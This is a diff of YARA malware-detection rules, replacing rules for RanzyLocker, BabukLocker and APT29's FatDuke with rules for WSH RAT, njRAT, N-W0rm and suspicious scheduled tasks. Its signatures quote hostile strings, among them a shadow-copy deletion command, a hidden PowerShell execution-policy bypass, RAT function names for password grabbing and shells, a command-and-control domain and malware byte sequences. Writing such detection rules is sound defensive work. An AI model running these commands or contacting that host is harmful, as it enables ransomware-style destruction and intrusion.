-		modified = "2020-10-04"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-03/Chimera/APT_Chimera_Sept_2020_1.yar#L1-L23"
+		description = "Detects the final Payload of WSHART"
+		author = "SECUINFRA Falcon Team"
+		id = "8db5e349-c83e-53c3-a44d-cfe4732fe08d"
+		date = "2022-12-02"
+		modified = "2022-02-13"
+		reference = "https://github.com/SIFalcon/Detection"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/RAT/wshrat.yar#L2-L44"
 		license_url = "N/A"
-		logic_hash = "8fdb34c793534f8632fd2c35b89462d4a736a31f2347e7bab3e8bcebff04c21f"
+		hash = "b7f53ccc492400290016e802e946e526"
+		logic_hash = "12d893f0ca83e805fa570d3f72eb733c8d8b1ae6c0d37bf179ac675d108c7412"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "f6d89ff139f4169e8a67332a0fd55b6c9beda0b619b1332ddc07d9a860558bab"
+		quality = 68
+		tags = "RAT, JAVASCRIPT, WSHRAT, FILE"
 
 	strings:
-		$header = { 4D 5A 41 52 55 48 89 E5 48 83 EC 20 48 83 E4 F0 E8 00 00 00 00 5B 48 81 C3 EB 18 00 00 FF D3 48 81 C3 00 09 03 00 49 89 D8 6A 04 5A FF D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 }
-		$s1 = "\\\\%s\\pipe\\%s" fullword ascii
-		$s2 = "%04x-%04x:%s" fullword wide
-		$core1 = "core_pivot_session_new" fullword ascii
-		$core2 = "core_pivot_session_died" fullword ascii
-		$core3 = "core_pivot_remove" fullword ascii
-		$core4 = "core_pivot_add" fullword ascii
-		$lib1 = "CreateNamedPipeA" fullword ascii
-		$lib2 = "ConnectNamedPipe" fullword ascii
-		$lib3 = "WinHttpGetIEProxyConfigForCurrentUser" fullword ascii
-		$export = "ReflectiveLoader" fullword ascii
+		$function1 = "runBinder"
+		$function2 = "getBinder"
+		$function3 = "Base64Encode"
+		$function4 = "payloadLuncher"
+		$function5 = "getMailRec"
+		$function6 = "getHbrowser"
+		$function7 = "passgrabber"
+		$function8 = "getRDP"
+		$function9 = "getUVNC"
+		$function10 = "getConfig"
+		$function11 = "getKeyLogger"
+		$function12 = "enumprocess"
+		$function13 = "cmdshell"
+		$function14 = "faceMask"
+		$function15 = "upload"
+		$function16 = "download"
+		$function17 = "sitedownloader"
+		$function18 = "servicestarter"
+		$function19 = "payloadLuncher"
+		$function20 = "keyloggerstarter"
+		$function21 = "reverserdp"
+		$function22 = "reverseproxy"
+		$function23 = "decode_pass"
+		$function24 = "disableSecurity"
+		$function25 = "installsdk"
+		$cmd1 = "osversion = eval(osversion)"
+		$cmd2 = "download(cmd[1],cmd[2])"
+		$cmd3 = "keyloggerstarter(cmd[1]"
+		$cmd4 = "decode_pass(retcmd);"
 
 	condition:
-		uint16(0)==0x4a5d and filesize >30KB and $header and 1 of ($s*) and 2 of ($core*) and 2 of ($lib*) and $export
+		filesize <2MB and 2 of ($cmd*) and 12 of ($function*)
 }
-rule ARKBIRD_SOLG_Ran_Ranzylocker_Hunting_Mar_2021_1 : FILE
+import "pe"
+
+rule SECUINFRA_MAL_Njrat : FILE
 {
 	meta:
-		description = "Detect RanzyLocker ransomware"
-		author = "Arkbird_SOLG"
-		id = "0d0c743b-9beb-5413-b5ba-dad75c2ee0b7"
-		date = "2021-03-16"
-		modified = "2021-03-17"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-16/RanzyLocker/Ran_RanzyLocker_Hunting_Mar_2021_1.yar#L1-L24"
+		description = "No description has been set in the source file - SecuInfra"
+		author = "SECUINFRA Falcon Team"
+		id = "eeea8bcf-0d19-5c43-92cc-55c1110f46e5"
+		date = "2022-02-27"
+		modified = "2022-02-27"
+		reference = "https://github.com/SIFalcon/Detection"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/RAT/njrat.yar#L3-L35"
 		license_url = "N/A"
-		logic_hash = "ec7867e40e4418bb662c8cf5a71566cd261d2040ee5d3afa0bbe2b92ebfef98e"
-		score = 50
-		quality = 53
+		logic_hash = "e6f5ce20df70bc2f9d00931a84db08c1918a0639555204de8e86f3ba583a73f5"
+		score = 75
+		quality = 70
 		tags = "FILE"
-		hash1 = "5d0af3bf0dc7d99fc87d844a0fcd99796b9257ba02d78510422c498d445f0d0d"
+		hash_1 = "38928ae157586ec7785121f79ac5f9eb6727eae66aa512d8adf52d9485928126"
+		hash_2 = "fcfa50ca0d4dcf2bb6e96e7b7a223138068f2d6a458d2630757e3bcbe0684aaa"
+		hash_3 = "fa28ad86ab796c8e18096badc31bcb1719474d268945172d983bb30ded219944"
 
 	strings:
-		$s1 = "-nolan" fullword wide
-		$s2 = { 34 33 33 41 35 43 35 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 34 36 36 39 36 43 36 35 37 33 32 30 32 38 37 38 33 38 33 36 32 39 35 43 34 44 36 39 36 33 37 32 36 46 37 33 36 46 36 36 37 34 32 30 35 33 35 31 34 43 32 30 35 33 36 35 37 32 37 36 36 35 37 32 }
-		$s3 = { 34 33 33 41 35 43 35 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 34 36 36 39 36 43 36 35 37 33 35 43 34 44 36 39 36 33 37 32 36 46 37 33 36 46 36 36 37 34 32 30 35 33 35 31 34 43 32 30 35 33 36 35 37 32 37 36 36 35 37 32 }
-		$s4 = { 32 32 37 33 37 35 36 32 36 39 36 34 32 32 33 41 32 32 00 00 32 32 36 43 36 31 36 45 36 37 32 32 33 41 32 32 }
-		$s5 = { 32 32 36 43 36 31 36 45 36 37 32 32 33 41 32 32 }
-		$s6 = { 32 32 36 35 37 38 37 34 32 32 33 41 32 32 }
-		$s7 = { 32 32 36 42 36 35 37 39 32 32 33 41 32 32 }
-		$s8 = { 32 32 36 45 36 35 37 34 37 37 36 46 37 32 36 42 32 32 33 41 32 32 }
-		$s9 = { 36 32 36 33 36 34 36 35 36 34 36 39 37 34 32 45 36 35 37 38 36 35 32 30 32 46 37 33 36 35 37 34 32 30 37 42 36 34 36 35 36 36 36 31 37 35 36 43 37 34 37 44 32 30 36 32 36 46 36 46 37 34 37 33 37 34 36 31 37 34 37 35 37 33 37 30 36 46 36 43 36 39 36 33 37 39 32 30 36 39 36 37 36 45 36 46 37 32 36 35 36 31 36 43 36 43 36 36 36 31 36 39 36 43 37 35 37 32 36 35 37 33 }
-		$s10 = { 36 32 36 33 36 34 36 35 36 34 36 39 37 34 32 45 36 35 37 38 36 35 32 30 32 46 37 33 36 35 37 34 32 30 37 42 36 34 36 35 36 36 36 31 37 35 36 43 37 34 37 44 32 30 37 32 36 35 36 33 36 46 37 36 36 35 37 32 37 39 36 35 36 45 36 31 36 32 36 43 36 35 36 34 32 30 34 45 36 46 }
-		$s11 = { 37 37 36 44 36 39 36 33 32 45 36 35 37 38 36 35 32 30 35 33 34 38 34 31 34 34 34 46 35 37 34 33 34 46 35 30 35 39 32 30 32 46 36 45 36 46 36 39 36 45 37 34 36 35 37 32 36 31 36 33 37 34 36 39 37 36 36 35 }
-		$s12 = { 35 33 34 46 34 36 35 34 35 37 34 31 35 32 34 35 35 43 34 44 36 39 36 33 37 32 36 46 37 33 36 46 36 36 37 34 35 43 34 35 35 32 34 39 34 34 }
-		$s13 = { 37 32 36 35 36 31 36 34 36 44 36 35 32 45 37 34 37 38 37 34 }
+		$mutex_1 = "02ddd2742fd5023579c925948979506c" wide
+		$mutex_2 = "f2defcfce1660e18fd445b5dbce27282" wide
+		$mutex_3 = "f7d3b79624476341312866012d0bbf19" wide
+		$a1 = "\"|'|'|\"" wide
+		$a2 = "SEE_MASK_NOZONECHECKS" wide
+		$b1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide
+		$b2 = "netsh firewall" wide
+		$b3 = "[ENTER]\\r\\n" wide
+		$b4 = "Execute ERROR" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize >100KB and 10 of ($s*)
+		uint16(0)==0x5a4d and filesize <100KB and pe.imports("mscoree.dll") and pe.imports("avicap32.dll") and 1 of ($mutex_*) or (1 of ($a*) and 2 of ($b*))
 }
-rule ARKBIRD_SOLG_Ran_Babuklockers_Jan_2021_1 : FILE
+rule SECUINFRA_MAL_Nw0Rm : FILE
 {
 	meta:
-		description = "Detect the BabukLocker ransomware"
-		author = "Arkbird_SOLG"
-		id = "a3bad41d-59fb-564f-a352-ca38af582c08"
-		date = "2020-01-03"
-		modified = "2021-01-03"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-01-02/BabukLocker/Ran_BabukLockers_Jan_2021_1.yar#L1-L23"
+		description = "Detect the final RAT dropped by N-W0rm"
+		author = "SECUINFRA Falcon Team"
+		id = "b014ce63-33ec-51df-a529-0c197dac2d7a"
+		date = "2022-03-02"
+		modified = "2022-02-07"
+		reference = "https://www.secuinfra.com/en/techtalk/n-w0rm-analysis-part-2/"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/RAT/n-w0rm.yar#L1-L24"
 		license_url = "N/A"
-		logic_hash = "8939e408948dd7b17acdac5c6b5f50db24ec63f19937b8663a15f52b678d0065"
-		score = 50
-		quality = 75
+		hash = "08587e04a2196aa97a0f939812229d2d"
+		logic_hash = "04078c57c1aa0065fceec7dc92b201bda23de1c5f5a940803a81250bdd685736"
+		score = 75
+		quality = 70
 		tags = "FILE"
-		hash1 = "8203c2f00ecd3ae960cb3247a7d7bfb35e55c38939607c85dbdb5c92f0495fa9"
-		level = "Experimental"
 
 	strings:
-		$seq1 = { 55 8b ec 83 ec 14 a1 b0 81 40 00 33 c5 89 45 fc c7 45 f8 ff ff ff ff c7 45 f4 00 40 00 00 8d 45 f0 50 8b 4d 08 51 6a 13 6a 00 6a 02 e8 85 2b 00 00 85 c0 0f 85 a3 00 00 00 8b 55 f4 52 e8 ae 06 00 00 83 c4 04 89 45 08 83 7d 08 00 0f 84 81 00 00 00 8d 45 f4 50 8b 4d 08 51 8d 55 f8 52 8b 45 f0 50 e8 55 2b 00 00 85 c0 75 5c c7 45 ec 00 00 00 00 eb 09 8b 4d ec 83 c1 01 89 4d ec 8b 55 ec 3b 55 f8 73 40 8b 45 ec c1 e0 05 8b 4d 08 8b 54 01 0c 83 e2 02 74 14 8b 45 ec c1 e0 05 03 45  }
-		$seq2 = { 68 68 22 40 00 b8 04 00 00 00 c1 e0 00 8b 8d 9c fd ff ff 8b 14 01 52 ff 15 b8 90 40 00 85 c0 75 0c c7 85 b0 fd ff ff 01 00 00 00 eb 58 68 74 22 40 00 b8 04 00 00 00 c1 e0 00 8b 8d 9c fd ff ff 8b 14 01 52 ff 15 b8 90 40 00 85 c0 75 0c c7 85 b0 fd ff ff 00 00 00 00 eb 2b 68 80 22 40 00 b8 04 00 00 00 c1 e0 00 8b 8d 9c fd ff ff 8b 14 01 52 ff 15 b8 90 40 00 85 c0 75 0a c7 85 b0 fd ff ff ff ff ff ff e9 55 ff ff ff 6a 00 6a 00 ff 15 a8 90 40 00 e8 aa 04 00 00 e8 05 }
-		$seq3 = { 83 c4 0c 68 f4 00 00 00 8d 85 f4 fd ff ff 50 68 88 22 40 00 ff 15 6c 90 40 00 68 98 22 40 00 8d 8d f4 fd ff ff 51 ff 15 c4 90 40 00 c7 85 ec fd ff ff 00 00 00 00 6a 00 68 80 00 00 00 6a 01 6a 00 6a 01 68 00 00 00 40 8d 95 f4 fd ff ff 52 ff 15 70 90 40 00 89 85 98 fd ff ff 83 bd 98 fd ff ff ff 0f 84 2e 03 00 00 6a 00 8d 85 ec fd ff ff 50 68 90 00 00 00 68 78 82 40 00 8b 8d 98 fd ff ff 51 ff 15 90 90 }
-		$s1 = "\\ecdh_pub_k.bin" fullword wide
-		$s2 = "ntuser.dat.log" fullword wide
-		$s3 = "cmd.exe" fullword ascii
-		$s4 = "/c vssadmin.exe delete shadows /all /quiet" fullword wide
-		$s5 = { 5c 00 5c 00 3f 00 5c 00 00 00 00 00 3a 00 00 00 98 2f }
+		$a1 = "N-W0rm" fullword wide
+		$a2 = "N_W0rm" fullword wide
+		$a3 = "|NW|" fullword wide
+		$b1 = "Select * from AntivirusProduct" fullword wide
+		$b2 = "ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File" fullword wide
+		$b3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36" fullword wide
+		$b4 = "killer" fullword wide
+		$b5 = "nyanmoney02.duckdns.org" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize >15KB and 2 of ($seq*) and 3 of ($s*)
+		uint16(0)==0x5a4d and 2 of ($a*) and 2 of ($b*)
 }
-rule ARKBIRD_SOLG_APT_APT29_Fatduke_Mar_2021_1 : FILE
+rule SECUINFRA_SUSP_Scheduled_Tasks_Create_From_Susp_Dir : FILE
 {
 	meta:
-		description = "Detect Fatduke implant used by APT29 group"
-		author = "Arkbird_SOLG"
-		id = "aed6d6f0-1baf-5842-8ced-e07f213ef1ff"
-		date = "2021-03-08"
-		modified = "2021-03-10"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-09/APT29/APT_APT29_Fatduke_Mar_2021_1.yar#L1-L25"
+		description = "Detects a PowerShell Script that creates a Scheduled Task that runs from an suspicious directory"
+		author = "SECUINFRA Falcon Team"
+		id = "65aad597-c5fe-50c3-8970-19fb502f1602"
+		date = "2022-02-21"
+		modified = "2022-02-27"
+		reference = "https://github.com/SIFalcon/Detection"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Windows/windows_misc.yar#L2-L25"
 		license_url = "N/A"
-		logic_hash = "2aec00355b14ec81f577527d3eba1f682ce96cc9e6ac7727b3865ddf01ddf69a"
-		score = 50
-		quality = 67
+		logic_hash = "abe0592a8936898a43a1df9039829948f8a4a425c74cb970d2899d513c9cfffe"
+		score = 60
+		quality = 25
 		tags = "FILE"
-		hash1 = "0be57d1244fefc679feb7aa9996e539481be7b8f4c9246817f81caa8c2f61a57"
-		level = "Experimental"
+		version = "0.1"
 
 	strings:
-		$seq1 = { 5b 8d 8d 5c ff ff ff c7 85 5c ff ff ff 48 74 74 70 51 8d 85 6c ff ff ff c7 85 60 ff ff ff 4f 70 65 6e 50 51 8d 8d 14 fc ff ff c7 85 64 ff ff ff 52 65 71 75 c7 85 68 ff ff ff 65 73 74 57 e8 ce 7b f2 ff c6 45 fc 33 83 78 14 10 72 02 8b 00 50 8d 8d 90 fc ff ff e8 16 7b f2 ff c6 45 fc 34 8d 85 90 fc ff ff 50 8d 85 80 fb ff ff 8b cb 50 e8 bd 74 00 00 8b f0 c6 45 fc 35 8d 87 d0 00 00 00 3b c6 74 2a 8b 48 10 85 c9 74 1b 8b 11 3b c8 0f 95 c0 0f b6 c0 50 ff 52 10 8d 87 d0 00 00 00 c7 40 10 00 00 00 00 56 8b c8 e8 c3 2e f6 ff c6 45 fc 34 8d 8d 80 fb ff ff e8 a4 7e f2 ff c6 45 fc 33 83 bd a4 fc ff ff 10 72 0e ff b5 90 fc ff ff e8 71 0d 17 00 83 c4 04 c7 85 a4 fc ff ff 0f 00 00 00 c7 85 a0 fc ff ff 00 00 00 00 c6 85 90 fc ff ff 00 c6 45 fc 1b 83 bd 28 fc ff ff 10 72 0e ff b5 14 fc ff ff e8 3b 0d 17 00 83 c4 04 c7 85 28 fc ff ff 0f 00 00 00 c7 85 24 fc ff ff 00 00 00 00 c6 85 14 fc ff ff 00 57 bf 0b 3b 0e 02 31 cf 21 d7 21 ff bf 2b 34 81 13 21 c7 09 cf 5f 56 be 22 0c d2 00 be 80 41 78 6d 31 e6 21 ee be 55 13 41 71 90 5e 8d 8d 1c ff ff ff c7 85 1c ff ff ff 48 74 74 70 51 8d 85 32 ff ff ff c7 85 20 ff ff ff 41 64 64 52 50 51 8d 8d 2c fc ff ff c7 85 24 ff ff ff 65 71 75 65 c7 85 28 ff ff ff 73 74 48 65 c7 85 2c ff ff ff 61 64 65 72 66 c7 85 30 ff ff ff 73 57 e8 67 7a f2 ff c6 45 fc 36 83 78 14 10 72 02 8b 00 50 8d 8d 38 fd ff ff e8 af 79 f2 ff c6 45 fc 37 8d 85 38 fd ff ff 50 8d 85 c8 fb ff ff 8b cb 50 e8 36 b1 ff ff 8b f0 c6 45 fc 38 8d 87 e8 00 00 00 3b c6 74 2a 8b 48 10 85 c9 74 1b 8b 11 3b c8 0f 95 c0 0f b6 c0 50 ff 52 10 8d 87 e8 00 00 00 c7 40 10 00 00 00 00 56 8b c8 e8 5c 2d f6 ff c6 45 fc 37 8d 8d c8 fb ff ff e8 3d 7d f2 ff c6 45 fc 36 83 bd 4c fd ff ff 10 72 0e ff b5 38 fd ff ff e8 0a 0c 17 00 83 c4 04 c7 85 4c fd ff ff 0f 00 00 00 c7 85 48 fd ff ff 00 00 00 00 c6 85 38 fd ff ff 00 c6 45 fc 1b 83 bd 40 fc ff ff 10 72 0e ff b5 2c fc ff ff e8 d4 0b 17 00 83 c4 04 c7 85 40 fc ff ff 0f 00 00 00 c7 85 3c fc ff ff 00 00 00 00 c6 85 2c fc ff ff 00 50 b8 dc 4d a8 4d b8 4f 50 97 15 b8 97 55 f0 68 01 c0 01 e8 90 58 50 b8 e6 6f 71 3c 21 e0 21 e8 21 f0 21 c0 31 f0 b8 fa 02 db 55 58 8d 8d 7c ff ff ff c7 85 7c ff ff ff 48 74 74 70 51 8d 45 8c c7 45 80 53 65 6e 64 50 51 8d 8d 60 fc ff ff c7 45 84 52 65 71 75 c7 45 88 65 73 74 57 e8 1f 79 f2 ff c6 45 fc 39 83 78 14 10 72 02 8b 00 50 8d 8d 08 fd ff ff e8 67 78 f2 ff c6 45 fc 3a 8d 85 08 fd ff ff 50 8d 85 f8 fb ff ff 8b cb 50 e8 4e 75 00 00 8b f0 c6 45 fc 3b 8d 87 00 01 00 00 3b c6 74 2a 8b 48 10 85 c9 74 1b 8b 11 3b c8 0f 95 c0 0f b6 c0 50 ff 52 10 8d 87 00 01 00 00 c7 40 10 00 00 00 00 56 8b c8 e8 14 2c f6 ff c6 45 fc 3a 8d 8d f8 fb ff ff e8 f5 7b f2 ff c6 45 fc 39 83 bd 1c fd ff ff 10 72 0e ff b5 08 fd ff ff e8 c2 0a 17 00 83 c4 04 c7 85 1c fd ff ff 0f 00 00 00 c7 85 18 fd ff ff 00 00 00 00 c6 85 08 fd ff ff 00 c6 45 fc 1b 83 bd 74 fc ff ff 10 72 0e ff b5 60 fc ff ff e8 8c 0a 17 00 83 c4 04 c7 85 74 fc ff ff 0f 00 00 00 c7 85 70 fc ff ff 00 00 00 00 c6 85 60 fc ff ff 00 50 01 c8 21 f8 b8 f5 2f 8f 4d 01 e8 09 d0 01 c0 b8 4e 35 2f 2a 58 52 ba 6d 65 6b 13 01 fa 09 da 31 c2 09 da ba c9 1d 51 12 31 c2 5a 8d 4d 9c c7 45 9c 48 74 74 70 51 8d 45 aa c7 45 a0 51 75 65 72 50 51 8d 8d 48 fc ff ff c7 45 a4 79 49 6e 66 66 c7 45 a8 6f 57 e8 de 77 f2 ff c6 45 fc 3c 83 78 14 10 72 02 8b 00 50 8d 8d 50 fd ff ff e8 26 77 f2 ff c6 45 fc 3d 8d 85 50 fd ff ff 50 8d 85 98 fb ff ff 8b cb 50 e8 4d 77 00 00 8b f0 c6 45 fc 3e 8d 9f 18 01 00 00 3b de 74 24 8b 4b 10 85 c9 74 15 8b 11 3b cb 0f 95 c0 0f b6 c0 50 ff 52 10 c7 43 10 00 00 00 00 56 8b cb e8 d9 2a f6 ff c6 45 fc 3d 8d 8d 98 fb ff ff e8 ba 7a f2 ff c6 45 fc 3c 83 bd 64 fd ff ff 10 72 0e ff b5 50 fd ff ff e8 87 09 17 00 83 c4 04 c7 85 64 fd ff ff 0f 00 00 00 c7 85 60 fd ff ff 00 00 00 00 c6 85 50 fd ff ff 00 c6 45 fc 1b 83 bd 5c fc ff ff 10 72 0e ff b5 48 fc ff ff e8 51 09 17 00 83 c4 04 c7 85 5c fc ff ff 0f 00 00 00 c7 85 58 fc ff ff 00 00 00 00 c6 85 48 fc ff ff 00 56 01 d6 19 ee be ed 3e 23 0c 01 fe 21 e6 be db 1f 20 70 31 e6 5e 57 29 c7 bf 8d 30 ff 05 bf 4e 30 f9 71 19 f7 29 f7 31 ff 09 ef 5f 68 b8 b3 2b 10 8d 8d d8 fc ff ff e8 22 76 f2 ff c6 45 fc 3f 8d 8d d8 fc ff ff e8 f3 e5 f3 ff 8b f0 c6 45 fc 1b 83 bd ec fc ff ff 10 72 0e ff b5 d8 fc ff ff e8 ce 08 17 00 83 c4 04 c7 85 ec fc ff ff 0f 00 00 00 c7 85 e8 fc ff ff 00 00 00 00 c6 85 d8 fc ff ff 00 52 ba 13 63 67 6d ba 64 19 d5 47 ba 08 52 da 36 01 ea 29 f2 90 5a 55 bd 53 0d b6 39 bd 54 64 02 7d bd 29 00 37 0f 09 d5 31 c5 90 5d 8d 45 c0 8b ce 50 e8 f4 f0 f4 ff c6 45 fc 40 52 29 c2 ba a5 19 33 0c 19 ea 31 e2 01 c2 ba 3c 66 39 43 29 ca 5a 52 ba f7 42 4e 7a 09 d2 19 c2 19 e2 01 e2 21 ca 01 ca 01 da 90 5a 8d 45 d8 8b ce 50 e8 c9 fa f4 ff c6 45 fc 41 57 01 df 09 d7 bf 16 71 1b 6c bf 80 30 fd 65 01 ff 19 f7 21 ef 5f 50 29 e8 b8 6d 44 90 22 01 e8 21 c8 b8 17 5e 05 78 09 f0 01 e8 58 83 7d d0 00 76 5b 83 7d d4 08 8b 45 c0 73 03 8d 45 c0 83 7d ec 08 8b 4d d8 73 03 8d 4d d8 83 ec 08 50 6a 03 51 8d 4f 40 e8 3c 87 ff ff 89 87 a0 04 00 00 52 31 e2 01 e2 ba b7 14 98 25 01 ca ba 2f 1e d7 1b 19 f2 29 d2 5a 57 bf 75 4c a1 10 bf dc 04 47 09 01 d7 bf 9e 5f 9a 0e 01 e7 90 5f eb 4e 83 7d ec 08 8b 45 d8 73 03 8d 45 d8 83 ec 08 8d 4f 40 6a 00 6a 01 50 e8 ec 86 ff ff 89 87 a0 04 00 00 53 bb ea 4a 79 17 21 eb 31 db bb b9 2c e1 4c 09 d3 21 eb 19 c3 5b 51 b9 91 6c 71 6d b9 64 25 d3 02 19 c1 19 c1 31 e1 29 f1 29 d9 59 83 bf a0 04 00 00 00 0f 85 a6 00 00 00 8d 8d e4 fe ff ff c7 85 e4 fe ff ff 43 61 6e 6e 51 8d 85 00 ff ff ff c7 85 e8 fe ff ff 6f 74 20 70 50 51 8d 8d 68 fb ff ff c7 85 ec fe ff ff 65 72 66 6f c7 85 f0 fe ff ff 72 6d 20 49 c7 85 f4 fe ff ff 6e 74 65 72 c7 85 f8 fe ff ff 6e 65 74 4f c7 85 fc fe ff ff 70 65 6e 21 e8 bd 74 f2 ff c6 45 fc 42 83 78 14 10 }
-		$seq2 = { 59 52 29 d2 ba 02 4d d2 52 ba 5f 54 50 4f 29 ea 29 c2 01 ea 01 e2 5a 56 21 ee 01 ee be 38 36 21 60 31 f6 19 ce 29 d6 be 13 6c 2d 6f 5e 85 c0 0f 85 0a 02 00 00 8d 8d 1c fe ff ff c7 85 1c fe ff ff 43 61 6e 6e 51 8d 85 5e fe ff ff c7 85 20 fe ff ff 6f 74 20 69 50 51 8d 8d c4 f7 ff ff c7 85 24 fe ff ff 6e 69 74 69 c7 85 28 fe ff ff 61 6c 69 7a c7 85 2c fe ff ff 65 20 73 69 c7 85 30 fe ff ff 67 6e 65 72 c7 85 34 fe ff ff 21 20 43 61 c7 85 38 fe ff ff 6e 6e 6f 74 c7 85 3c fe ff ff 20 70 65 72 c7 85 40 fe ff ff 66 6f 72 6d c7 85 44 fe ff ff 20 43 72 79 c7 85 48 fe ff ff 70 74 41 63 c7 85 4c fe ff ff 71 75 69 72 c7 85 50 fe ff ff 65 43 6f 6e c7 85 54 fe ff ff 74 65 78 74 c7 85 58 fe ff ff 20 65 72 72 66 c7 85 5c fe ff ff 6f 72 e8 93 5b f1 ff c6 45 fc 46 83 78 14 10 72 02 8b 00 50 8d 8d f0 f9 ff ff e8 db 5a f1 ff c6 45 fc 47 ff d3 50 8d 85 f0 f9 ff ff 50 8d 8d 78 f8 ff ff e8 c2 e3 f8 ff 68 d4 4f 2e 10 8d 85 78 f8 ff ff 50 e8 3c 31 16 00 8d 8d 64 fe ff ff c7 85 64 fe ff ff 43 61 6e 6e 51 8d 85 a6 fe ff ff c7 85 68 fe ff ff 6f 74 20 69 50 51 8d 8d 94 f7 ff ff c7 85 6c fe ff ff 6e 69 74 69 c7 85 70 fe ff ff 61 6c 69 7a c7 85 74 fe ff ff 65 20 73 69 c7 85 78 fe ff ff 67 6e 65 72 c7 85 7c fe ff ff 21 20 43 61 c7 85 80 fe ff ff 6e 6e 6f 74 c7 85 84 fe ff ff 20 70 65 72 c7 85 88 fe ff ff 66 6f 72 6d c7 85 8c fe ff ff 20 43 72 79 c7 85 90 fe ff ff 70 74 41 63 c7 85 94 fe ff ff 71 75 69 72 c7 85 98 fe ff ff 65 43 6f 6e c7 85 9c fe ff ff 74 65 78 74 c7 85 a0 fe ff ff 20 65 72 72 66 c7 85 a4 fe ff ff 6f 72 e8 8e 5a f1 ff c6 45 fc 48 83 78 14 10 72 02 8b 00 }
-		$seq3 = { c7 85 1c f8 ff ff 07 00 00 00 c7 85 18 f8 ff ff 00 00 00 00 33 c0 66 89 85 08 f8 ff ff 53 19 f3 21 db 21 fb 31 f3 29 fb 19 f3 bb 9f 7a e7 00 21 fb 90 5b 52 ba 77 2c 66 51 ba 60 54 5a 36 19 ea 09 ca ba 32 36 94 1b 90 5a 53 09 eb bb 92 73 c4 2a bb d1 71 ed 5e 01 eb bb 9b 43 21 23 90 5b 50 b8 09 65 36 3a 09 c0 29 e8 29 f8 21 f8 b8 3d 39 c6 44 01 e8 58 89 85 78 fd ff ff 89 85 7c fd ff ff 89 85 80 fd ff ff 89 85 84 fd ff ff 89 85 88 fd ff ff 89 85 8c fd ff ff c7 85 88 f8 ff ff 52 65 67 4f c7 85 8c f8 ff ff 70 65 6e 4b c7 85 90 f8 ff ff 65 79 45 78 c6 85 94 f8 ff ff 57 89 85 48 f8 ff ff 89 85 4c f8 ff ff c7 85 4c f8 ff ff 0f 00 00 00 89 85 48 f8 ff ff 88 85 38 f8 ff ff 8d 85 95 f8 ff ff 50 8d 85 88 f8 ff ff 50 8d 85 38 f8 ff ff 50 50 8b c8 e8 99 c1 de ff c6 45 fc 0a 83 bd 4c f8 ff ff 10 8b 85 38 f8 ff ff 73 06 8d 85 38 f8 ff ff 50 8d }
-		$seq4 = { 31 e1 b9 e9 52 83 05 29 d1 01 f9 59 80 7d 0c 00 0f 84 fb 03 00 00 66 c7 85 70 fe ff ff 0d 0a c7 85 50 fe ff ff 0d 0a 2d 2d c7 85 14 fe ff ff 53 75 62 6d c7 85 18 fe ff ff 69 74 74 65 c6 85 1c fe ff ff 64 c7 85 78 fd ff ff 43 6f 6e 74 c7 85 7c fd ff ff 65 6e 74 2d c7 85 80 fd ff ff 44 69 73 70 c7 85 84 fd ff ff 6f 73 69 74 c7 85 88 fd ff ff 69 6f 6e 3a c7 85 8c fd ff ff 20 66 6f 72 c7 85 90 fd ff ff 6d 2d 64 61 c7 85 94 fd ff ff 74 61 3b 20 c7 85 98 fd ff ff 6e 61 6d 65 c7 85 9c fd ff ff 3d 22 65 6e c7 85 a0 fd ff ff 64 22 0d 0a 66 c7 85 a4 fd ff ff 0d 0a 8d 8d 70 fe ff ff 8d 85 72 fe ff ff 51 50 51 8d 8d 3c fa ff ff e8 b3 34 fb ff 8b d8 c6 45 fc 35 8d 8d 50 fe ff ff 8d 85 54 fe ff ff 51 50 51 8d 8d 6c fa ff ff e8 93 34 fb ff 8b f8 c6 45 fc 36 8d 8d 14 fe ff ff 8d 85 1d fe ff ff 51 50 51 8d 8d 84 fa ff ff e8 73 34 fb ff c6 45 fc 37 83 78 14 10 72 02 8b 00 50 8d 8d 1c f8 ff ff e8 bb 33 fb ff 89 85 7c fe ff ff c6 45 fc 38 8d 8d 78 fd ff ff 8d 85 a6 fd ff ff 51 50 51 8d 8d 80 f8 ff ff e8 37 34 fb ff c6 45 fc 39 83 78 14 10 72 02 8b 00 ff b5 7c fe ff ff 8b d0 8d 8d 04 f7 ff ff e8 88 4e fc ff 83 c4 04 c6 45 fc 3a 83 7f 14 10 72 02 8b 3f 57 8b d0 8d 8d 9c f8 ff ff e8 cb 60 fb ff c6 45 fc 3b 8d 4d d4 51 8b d0 8d 8d 74 f7 ff ff e8 96 b9 00 00 83 c4 08 c6 45 fc 3c 83 7b 14 10 72 02 8b 1b 53 8b d0 8d 8d b8 f8 ff ff e8 99 60 fb ff 83 c4 04 c6 45 fc 3d 6a ff 6a 00 50 8d 4d a4 e8 d5 39 fb ff c6 45 fc 3c 83 bd cc f8 ff ff 10 72 0e ff b5 b8 f8 ff ff e8 d2 c5 1f 00 83 c4 04 c7 85 cc f8 ff ff 0f 00 00 00 c7 85 c8 f8 ff ff 00 00 00 00 c6 85 b8 f8 